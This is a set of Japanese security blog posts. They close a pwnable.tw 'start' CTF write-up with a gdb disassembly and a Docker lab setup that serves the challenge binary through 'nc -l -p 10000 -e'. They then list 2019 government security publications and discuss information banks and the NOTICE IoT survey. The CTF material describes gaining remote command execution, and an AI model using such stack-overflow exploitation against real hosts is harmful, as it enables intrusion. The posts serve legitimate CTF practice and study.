Dump of assembler code for function _start:
   0x08048060 <+0>:	push   %esp
   0x08048061 <+1>:	push   $0x804809d
   0x08048066 <+6>:	xor    %eax,%eax
   0x08048068 <+8>:	xor    %ebx,%ebx
   0x0804806a <+10>:	xor    %ecx,%ecx
   0x0804806c <+12>:	xor    %edx,%edx
   0x0804806e <+14>:	push   $0x3a465443
   0x08048073 <+19>:	push   $0x20656874
   0x08048078 <+24>:	push   $0x20747261
   0x0804807d <+29>:	push   $0x74732073
   0x08048082 <+34>:	push   $0x2774654c
   0x08048087 <+39>:	mov    %esp,%ecx
   0x08048089 <+41>:	mov    $0x14,%dl
   0x0804808b <+43>:	mov    $0x1,%bl
   0x0804808d <+45>:	mov    $0x4,%al
   0x0804808f <+47>:	int    $0x80
   0x08048091 <+49>:	xor    %ebx,%ebx
   0x08048093 <+51>:	mov    $0x3c,%dl
   0x08048095 <+53>:	mov    $0x3,%al
   0x08048097 <+55>:	int    $0x80
=> 0x08048099 <+57>:	add    $0x14,%esp
   0x0804809c <+60>:	ret    
End of assembler dump.
(gdb) b *0x08048087
Breakpoint 1 at 0x8048087
(gdb) c
Continuing.

Breakpoint 1, 0x08048087 in _start ()

フラグをゲット

接続先をlocalhostからターゲットホストに変更して実行すれば、ターゲットホスト上で任意のコマンドが実行可能になります。フラグのファイルを探し、catコマンドなり何なりで中を見ればフラグが書いてあります。

感想

「あれ・・ステップ実行って"s"じゃなかったっけ・・あああ"si"いいいいいい」「こういうときってどーすんだっけ・・・はっアタッチ・・sleepしてアタッチや!」「あれっなんか想定とシェルコードが違う・・リトルエンディアンでしたあああああ」とか大変楽しくリハビリできました。私がexploitコードを本気で書いていたのは20年近く前ですが、今回の問題はその頃の知識をそのまま使えた上に、ASLRというちょっとしたエッセンスが追加されていて(当時はなかった)、リハビリにはぴったりなものでした。eipが0x61616161とか0x90909090(パディングによく使われるNOP)とかに書き換わったときにYES!ってなる感じ、久々に味わったなー。当時はgdb+PerlとかVisual Studio+VCで頑張ってたんですよねー。SPARCは固定長命令とビッグエンディアンで分かりやすくて美しかったなぁ・・。

懐古ついでにこちらも紹介。ハッカーの古典、Aleph Oneによる「Smashing The Stack For Fun And Profit」。今回のスタックベースのバッファオーバーフローの仕組みについて丁寧に解説されています。
素晴らしい日本語訳が、「趣味と実益のスタック破壊」として公開されています。(残念ながらもうアーカイブしか残っていないようです)

にしても、当時はリモートでもローカルでも自社内に実機で環境を作ってやっていたので、シェルコードを含むパケットをインターネット越しに投げたのはたぶん生まれて初めてなんじゃないかと・・。いやもちろんそのためのサイトなのでなんの問題もないのですが、ちょっと緊張しました。

今回は心赴くままにガッツリと検証してあれこれ試しましたが、次回以降はpwn用のツールもいろいろと使ってみようと思います。

関連記事

調子に乗って次の問題「orw」のwrite-upも書きました。
security.nekotricolor.com

*1:でもさすがにgdb-pedaくらいは使った方がいいかも

*2:いきなりpwnable.twのターゲットホストに接続してもいいのですが、インターネット上にmalっぽいパケットを投げまくるのに躊躇いがあり。

pwnable.tw攻略のためのDockerイメージ作り

pwnable.twの「start」をやってみたんですよ。

security.nekotricolor.com

母艦であるMBAが不安定でいつまたmacOSを再インストールすることになるか分からないので、以下のサイトを参考にDockerでイメージを作っておくことにしました。

github.com

Dockerfile

gdbやfileコマンド、vimなどの基本的なツールのほか、exploitコードを書くための環境もインストール。セキュリティといえばPythonですが、私はRubyistなのでRuby環境です。こちらを参考にさせていただきました。

qiita.com

Dockerfile.startという名前で以下を作成します。

FROM ubuntu:18.04
RUN apt-get update && apt-get upgrade -y

# basic tools
RUN apt-get install -y \
    git \
    gdb \
    file \
    vim \
    netcat

# dev tools
RUN apt-get install -y \
    build-essential \
    libssl-dev \
    libreadline-dev \
    zlib1g-dev \
    curl \
    wget

# Ruby
ENV RUBY_VERSION 2.7.0

# Install rbenv
RUN git clone https://github.com/rbenv/rbenv.git ~/.rbenv && \
    echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc && \
    echo 'eval "$(rbenv init -)"' >> ~/.bashrc

ENV PATH /root/.rbenv/shims:/root/.rbenv/bin:$PATH

# Install ruby-build & ruby
RUN git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build && \
    ~/.rbenv/bin/rbenv install $RUBY_VERSION && \
    ~/.rbenv/bin/rbenv global $RUBY_VERSION

# Initiarize ruby encording
ENV RUBYOPT -EUTF-8

# Install bundler
RUN ~/.rbenv/bin/rbenv exec gem install bundler -v 2.0

イメージを作成する

pwnabletwという名前で、タグを「start」としました。

% docker build -f Dockerfile.start -t pwnabletw:start .

startを実行するシェルスクリプトを作成する

ホストOS上のどこか(ここでは/Users/nekotricolor/share)に、start.shとして以下のシェルスクリプトを作成します。
/root/share/startは問題のバイナリファイルです。

while true; do
nc -l -p 10000 -e /root/share/start;
done

Dockerコンテナを実行する

プロセスにアタッチできるようにするオプションをつけ、/Users/nekotricolor/shareを/root/shareにマウントしつつ、コンテナを実行します。

% docker run --rm -it --cap-add=SYS_PTRACE --name pwnabletw -v /Users/nekotricolor/share:/root/share --security-opt seccomp=unconfined pwnabletw:start
root@d84a9d6a6d47:/# 

コンテナ上でstartを実行するシェルスクリプトを実行する

/Users/nekotricolor/shareを/root/shareにマウントしたので、先ほど作ったstart.shはコンテナ上でも使えるようになっています。これを実行すると、10000番ポートがListen状態になり、接続するとstartが実行されます。

root@d84a9d6a6d47:/# /bin/sh /root/share/start.sh

コンテナに入り、10000番ポートに接続してみる

ホストOSの別のターミナルからコンテナ内に入ります。上記のroot@以下がコンテナのIDです。

% docker exec -it d84a9d6a6d47 bash

ncコマンドで10000番ポートに接続してみます。

root@d84a9d6a6d47:/# nc localhost 10000
Let's start the CTF:

これで、問題を解く環境が整いました。

2019年に公開されたセキュリティ関連文書まとめ

リアルタイムには情報を追っておらず、お知らせ一覧等から調べているため抜けがあるかもしれません。

ルールは以下。

  • 公共性の高いものを載せています
  • WGや研究会の純粋な活動報告書、個別のインシデント・脆弱性は載せていません

情報源はこの辺。

security.nekotricolor.com

政府機関

総務省

文書タイトル 公開日
IoT国際競争力指標(2017年実績) 2019/02/19
不正アクセス行為の発生状況(平成30年1月1日から同年12月31日) 2019/03/22
株式会社日本レジストリサービスに対する「.jp」ドメイン名の管理・運用に係る措置(要請) 2019/04/26
IPネットワーク設備委員会第二次報告 2019/04/26
電気通信事業法に基づく端末機器の基準認証に関するガイドライン(第1版) 2019/04/22
地域IoT実装のための計画策定のポイント~7地方公共団体の軌跡をヒントに~ 2019/04/19
「ICTグローバル戦略」の公表 2019/05/31
IoTセキュリティ総合対策 プログレスレポート2019 2019/05/31
電気通信事業法の消費者保護ルールに関するガイドライン 2019/05/17
脆弱なIoT機器及びマルウェアに感染しているIoT機器の利用者への注意喚起の実施状況 2019/06/28
サイバーセキュリティ対策情報開示の手引き 2019/06/28
サイバーセキュリティ人材育成分科会 第1次取りまとめ 2019/06/14
令和元年版情報通信白書 2019/07/09
IoT・5Gセキュリティ総合対策 2019/08/30
トラストサービス検討ワーキンググループ 中間取りまとめ 2019/08/09
AIネットワーク社会推進会議報告書2019 2019/08/09
脆弱なIoT機器及びマルウェアに感染しているIoT機器の利用者への注意喚起の実施状況(2019年度第2四半期 2019/10/25

セキュリティ関連団体

IPA

文書タイトル 公開日
情報セキュリティ10大脅威 2019 2019/04/17
IT人材白書2019 *1 2019/05/10
デジタル・トランスフォーメーション推進人材の 機能と役割のあり方に関する調査 2019/05/17
情報セキュリティ早期警戒パートナーシップガイドライン 2019/05/30
第12回地方自治体における情報システム基盤の現状と方向性の調査 2019/05/31
「情報処理安全確保支援士(登録セキスペ)の活動に関する実態調査」調査報告書 2019/07/31
制御システム関連のサイバーインシデント事例「2015年 ウクライナ 大規模停電」 2019/07/31
制御システム関連のサイバーインシデント事例「2016年 ウクライナ マルウェアによる停電」 2019/07/31
制御システム関連のサイバーインシデント事例「2017年 安全計装システムを標的とするマルウェア」 2019/07/31
情報セキュリティ白書2019 2019/08/08
ユーザのための要件定義ガイド 第2版 *2 2019/09/12
「多要素認証」設定手順書(Apple ID、Google アカウント、Microsoft アカウント、Yahoo! JAPAN ID) 2019/09/17
情報システムの障害状況 2019年前半データ 2019/09/20
米国発のセキュリティマネジメント成熟度の評価モデル「ES-C2M2」の解説書およびチェックシート 2019/10/21
DX推進指標 自己診断結果入力サイト 2019/10/25
組込みソフトウェア開発データ白書2019 *3 2019/11/19
インターネット安全教室 教材 *4 2019/11/28

JPCERT/CC

文書タイトル 公開日
IoTセキュリティチェックリスト 2019/06/27
PSIRT Services Framework Version 1.0 日本語版 2019/11/07

その他

文書タイトル 公開日 公開組織
2018年 違法・有害情報対策活動報告 2019/07/31 セーファーインターネット協会
サイバーリスクハンドブック/取締役向けハンドブック 日本版 2019/11/01 経団連
証拠保全ガイドライン第8版 2019/12/09 デジタル・フォレンジック研究会
「教育の情報化に関する手引」(令和元年12月)について 2019/12 文部科学省

*1:アンケートに答えればPDF版を入手可能

*2:アンケートに答えればPDF版を入手可能

*3:アンケートに答えればPDF版を入手可能

*4:アンケートに答えれば入手可能

情報銀行ビジネスに関するメモ

今後セキュリティ的にもなにかと話題になりそうなのでメモ。

といってもまだ始まったばかりで、「始まります」って程度の情報しかないです。

情報銀行とは

行動履歴や購買履歴といったものを含む個人情報にひも付いたITデータを個人から預託され、他の事業者とのマッチングや匿名化したうえでの情報提供、一元管理する制度、あるいは事業者を指す。データを提供したり活用したことに関して得られた便益は、データを受領した他の事業者から直接的または間接的に個人情報を提供した本人に還元される。

情報銀行 - Wikipediaより

日本では、「日本IT団体連盟」が認定証を発行している模様。
www.tpdms.jp

国内最初の認定は2019年6月。
www.itmedia.co.jp

すでに2回の認定が行われている。

認定第二弾

www.itrenmei.jp
www.watch.impress.co.jp

これまでの認定事業一覧。ここを見ればいいね。
www.tpdms.jp

認定を受けた企業

三井住友信託銀行

IT連による、認定を受けた事業サービスの内容:「データ信託」サービス(仮称)

三井住友信託銀行の公式サイトでは関連情報を見つけられず。

フェリカポケットマーケティング(イオン子会社)

IT連による、認定を受けた事業サービスの内容:地域振興プラットフォーム(仮称)

公式サイトでの発表:一般社団法人 日本 IT 団体連盟による「情報銀行」認定について

J.Score(みずほ銀行とソフトバンクが共同出資)

IT連による、認定を受けた事業サービスの内容:情報提供サービス(仮称)

公式サイトでの発表。
www.jscore.co.jp

これも続報があったらまた書きます。

総務省とNICTによる大規模なIoT機器調査と注意喚起「NOTICE」その後

2019年2月から実施されている、総務省と国立研究開発法人情報通信研究機構 (以下 NICT) による大規模なIoT機器調査と注意喚起「NOTICE」について以前書いたのですが、その後どうなったかを追いました。

security.nekotricolor.com

まずは、総務省とNICTが公開しているNOTICEに関する情報を集めてみる。

notice.go.jp

www.soumu.go.jp

www.soumu.go.jp

こんだけ!

総務省Webサイトの実施状況の部分を抜粋してみました。

2019年6月28日発表分

参加インターネットプロバイダ:33社
・調査対象IPアドレス:約9,000万
・取組結果
NOTICEの取組結果
・調査対象となったIPアドレスのうち、ID・パスワードが入力可能であったもの
 → 約31,000~約42,000件
・ 上記の内、ID・パスワードによりログインでき、注意喚起の対象となったもの 
 → 延べ147件
マルウェアに感染しているIoT機器の利用者への注意喚起の取組結果
・ISPに対する通知の対象となったもの
 → 1回当たり112件~155件

2019年10月25日発表分

(括弧内は2019年度の第1四半期までの実施状況)

・参加ISP:34社(33社)
・調査対象IPアドレス:約1.0億アドレス(約0.9億アドレス)
・取組結果
 <NOTICEの取組結果>
  (1)調査対象となったIPアドレスのうち、ID・パスワードが入力可能であったもの
   → 直近での調査において約98,000件(約42,000件)
  (2)上記の内、ID・パスワードによりログインでき、注意喚起の対象となったもの
   → 延べ505件(延べ147件)
 <マルウェアに感染しているIoT機器の利用者への注意喚起の取組結果>
  (3)ISPに対する通知の対象となったもの
   → 1日当たり80~559件(1日当たり112件~155件)

えーこんだけー?もっとさー、ログイン可能なサービスがなんだったかとかー(WebかSSHだとは思うのだけど)、どのパスワードがどのくらい使われてるかとかー、バナー情報の統計とかー、いろいろあんじゃーん。まあ注意喚起が目的なので公開の必要はないのかもしれないけど、せっかくの大規模調査なんだから諸々データを公開して欲しいなあ。合意を取るのが大変なのかな・・。

にしても、意外とみんなパスワードをちゃんと変更してるんですね。98,000件中505件ということは、0.5%くらいしか脆弱なパスワードがなかったってことだよね。ただ、パスワードの試行回数によるロックアウト機能って、一般ユーザが使うような機器だとデフォルトでは有効になっていない(またはそもそもついてない)気がするので、98,000件でログイン画面が出てしまうというのは結構インパクトが大きい。インターネットからのインバウンドの通信なんて必要ない機器が多いと思うんで、デフォルト不可にできないのかな。

また進展があったら書きます。